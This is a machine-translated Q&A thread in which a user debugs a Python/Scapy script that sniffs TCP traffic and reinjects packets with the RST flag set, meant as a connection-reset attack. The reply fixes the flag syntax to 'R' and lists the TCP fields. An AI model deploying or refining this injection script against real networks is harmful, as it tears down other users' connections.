Scapy TCP RST 攻击

Vla*_*kii 3 python tcp scapy

我试图用 Scapy 编写 TCP RST 攻击,但我的代码不起作用。请帮助我解决我的问题。

     from scapy.all import *

     def poison(packet):
         packet[TCP].flags='RST'
         sendp(packet)

     sniff(filter='tcp',prn=poison)
Run Code Online (Sandbox Code Playgroud)

有问题flags,我想。有一个错误:

回溯(最近一次调用):
文件“Univer.py”,第 6 行,在 sniff(filter='tcp',prn=poison)
文件“/usr/lib/pymodules/python2.6/scapy/sendrecv.py”中,第 559 行,嗅探 r =
prn (p)文件“Univer.py”,第 3 行,毒包[TCP].flags='RST'
文件“/usr/lib/pymodules/python2.6/scapy/packet .py”,第 186 行,在 setattr self.setfieldval(attr,val)
文件“/usr/lib/pymodules/python2.6/scapy/packet.py”,第 175 行,在 setfieldval self.fields[attr] = any2i (self, val)
文件“/usr/lib/pymodules/python2.6/scapy/fields.py”,第 785 行,在 any2i y |= 1 << self.names.index(i)

值错误:未找到子字符串

Pie*_*rre 5

在 Scapy 中设置 TCP 标志的正确方法是使用短(一个字母)形式packet[TCP].flags = 'R'。使用当前的 Scapy 开发版本,您可以使用ls()以下命令获取接受的标志:

>>> ls(TCP, verbose=True)
sport         : ShortEnumField           = (20)
dport        : ShortEnumField           = (80)
seq            : IntField                           = (0)
ack            : IntField                            = (0)
dataofs    : BitField (4 bits)               = (None)
reserved  : BitField (3 bits)               = (0)
flags          : FlagsField (9 bits)          = (2)
               F, S, R, P, A, U, E, C, N
window    : ShortField                        = (8192)
chksum    : XShortField                      = (None)
urgptr       : ShortField                        = (0)
options     : TCPOptionsField            = ({})
Run Code Online (Sandbox Code Playgroud)